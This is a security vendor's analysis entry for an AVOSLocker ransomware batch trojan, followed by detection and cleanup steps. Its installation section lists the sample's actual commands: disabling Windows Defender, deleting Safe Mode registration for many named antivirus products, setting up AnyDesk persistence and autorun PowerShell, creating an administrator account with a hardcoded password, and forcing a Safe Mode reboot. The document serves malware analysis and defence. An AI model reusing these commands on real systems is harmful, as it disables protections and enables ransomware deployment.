Analysis by: Khristian Joseph Morales
ALIASES:

Generic.Ransom.AVOSLocker.!s!.D.96A58DC3 (BITDEFENDER)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 4,244 bytes
File Type: BAT
Memory Resident: No
Initial Samples Received Date: 02 Feb 2022
Payload: Restarts system

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /f
  • reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /t REG_SZ /d Service /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /t REG_SZ /d Service /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d Password123! /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
  • bcdedit /set {default} safeboot network
  • net use \192.168.111.73 /user:workgroup\test P@ssw0rd123
  • shutdown /r /f /t 0
  • Terminates and disables services
    • net stop wuauserv
    • sc config wuauserv start= disabled
  • Delete AV related registry
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_agent /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_monitor /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Amps /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_notifer /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRkrn /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRSVC /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIRedline /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdvith /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdicap /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CmdAgent /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cyserver /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBEndpointAgent /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CylanceSvc /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SepMasterService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefense /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefenseWSC /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\epredline /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIntegrationService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmCCSF /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmWSCSvc /f
  • Add user and localgroup:
    • net user Administrator Password123! /add
    • net localgroup administrators Administrator /add
    • net user Administrator Password123!
  • net user Administrator /Active:Y

Other Details

This Trojan does the following:

  • It restarts the affected machine

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 17.372.03
FIRST VSAPI PATTERN DATE: 09 Feb 2022
VSAPI OPR PATTERN File: 17.373.00
VSAPI OPR PATTERN Date: 10 Feb 2022

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.AVOSLOCKER.YPCBB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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